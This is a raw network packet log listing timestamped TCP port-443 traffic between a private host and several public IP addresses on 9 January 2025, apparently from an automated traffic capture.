Jan 9, 2025 14:41:03.575086117 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.575120926 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.575138092 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.575196028 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.577754021 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.580792904 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.580889940 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.580944061 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.580959082 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.581098080 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.583843946 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.591603041 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.591633081 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.591660976 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.591675997 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.591749907 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.591799021 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.591886997 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.591924906 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.591958046 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.591972113 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.592261076 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.592993975 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.595029116 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.595052958 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.595078945 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.595093012 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.595174074 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.595280886 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.595356941 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.595376015 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.595402956 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.595436096 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.595436096 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.595477104 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:04.175774097 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:04.176451921 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:04.176466942 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:04.177634954 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:04.177747011 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:04.179342031 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:04.179404974 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:04.290077925 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:04.290091991 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:04.479345083 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:04.640362024 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.640393972 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:04.640562057 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.640702009 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.640711069 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:04.641407967 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.641442060 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:04.641796112 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.642038107 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.642055988 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:04.737802029 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.737827063 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:04.738688946 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.740622997 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:04.740633965 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.237232924 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.237523079 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.237535954 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.239168882 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.239259958 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.240698099 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.241682053 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.241767883 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.241880894 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.241888046 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.242681980 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.242692947 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.244364023 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.244431019 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.245172977 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.245263100 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.245296955 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.269804955 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.272214890 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.272233009 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.273644924 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.273714066 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.277229071 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.277298927 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.277568102 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.287381887 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.306024075 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.306051016 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.306180000 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.323329926 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.365559101 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.365833998 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.366086006 CET	49790	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.366132021 CET	443	49790	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.373961926 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.374156952 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.374545097 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.374855995 CET	49789	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.374871016 CET	443	49789	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.441637039 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:05.442075014 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.443301916 CET	49791	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:05.443320036 CET	443	49791	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.343764067 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.343816996 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.343885899 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.344131947 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.344167948 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.344224930 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.344358921 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.344378948 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.344472885 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.344485044 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.513140917 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.513195992 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.513257980 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.513590097 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.513638973 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.513648033 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.513669968 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.513748884 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.513885021 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.513896942 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.672748089 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.672785997 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.672857046 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.673489094 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.673522949 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.673580885 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.673774958 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.673804998 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.673903942 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.673912048 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.881053925 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.882111073 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.882121086 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.883404970 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.884257078 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.887531996 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.887743950 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.887960911 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.887967110 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.888299942 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.892426968 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.892527103 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:06.950297117 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:06.981174946 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.048343897 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.049829006 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.049835920 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.050441980 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.050636053 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.050646067 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.050806046 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.050834894 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.050838947 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.050882101 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.051213980 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.051383972 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.051603079 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.051613092 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.053455114 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.053471088 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.161173105 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.162805080 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.163338900 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.163358927 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.163693905 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.164287090 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.164369106 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.232556105 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.233618021 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.233644009 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.235646009 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.235878944 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.236625910 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.236756086 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.242199898 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.242577076 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.242588043 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.243458033 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.243511915 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.243916988 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.243958950 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.352735996 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.352766991 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.375332117 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.377125978 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.383214951 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.383244038 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:07.459587097 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.492836952 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:07.537502050 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.538914919 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.538928032 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.539408922 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.540796995 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.540877104 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.541971922 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.542001009 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.543409109 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.543647051 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.543673038 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.544146061 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.544442892 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.544522047 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.544550896 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.587348938 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.648452997 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.660356045 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.660406113 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.660561085 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.661279917 CET	49824	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.661299944 CET	443	49824	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.743232965 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.743267059 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.743285894 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.743324995 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.743338108 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.743360996 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.743383884 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.828535080 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.828584909 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.828589916 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.828597069 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.828629017 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.830317974 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.830372095 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.830416918 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.830425024 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.830452919 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.830477953 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.831054926 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.915249109 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.915270090 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.915314913 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.915321112 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.915364027 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.915369034 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.915668011 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.916882992 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.916904926 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.916938066 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.916941881 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.916964054 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.916976929 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.916980028 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.918323994 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.918348074 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.918380976 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.918385029 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.918416023 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.919557095 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.919575930 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.919614077 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:07.919619083 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:07.919646025 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.002882957 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.002906084 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.002944946 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.002954960 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.003005981 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.003427029 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.003436089 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.003473997 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.003482103 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.003501892 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.003520012 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.003551006 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.004039049 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004061937 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004129887 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.004129887 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.004136086 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004160881 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004214048 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.004219055 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004656076 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004673004 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004719973 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.004724026 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004750967 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.004856110 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.004904032 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.004909039 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.007085085 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.007128954 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.007145882 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.007152081 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.007179022 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.008106947 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.008167982 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.008172989 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.008555889 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.008574963 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.008614063 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.008619070 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.008649111 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.051129103 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.088149071 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.088217020 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.088223934 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.088767052 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.088787079 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.088823080 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.088826895 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.088841915 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.088855028 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.088885069 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.088888884 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.088944912 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.089302063 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.089322090 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.089359045 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.089363098 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.089407921 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.089421988 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.089788914 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.089807987 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.089843988 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.089850903 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.089874029 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.089886904 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.090210915 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.090230942 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.090267897 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.090272903 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.090300083 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.090318918 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.090656042 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.090676069 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.090719938 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.090723991 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.090750933 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.090779066 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.091037989 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.091057062 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.091118097 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.091123104 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.091201067 CET	49823	443	192.168.2.4	184.28.190.59
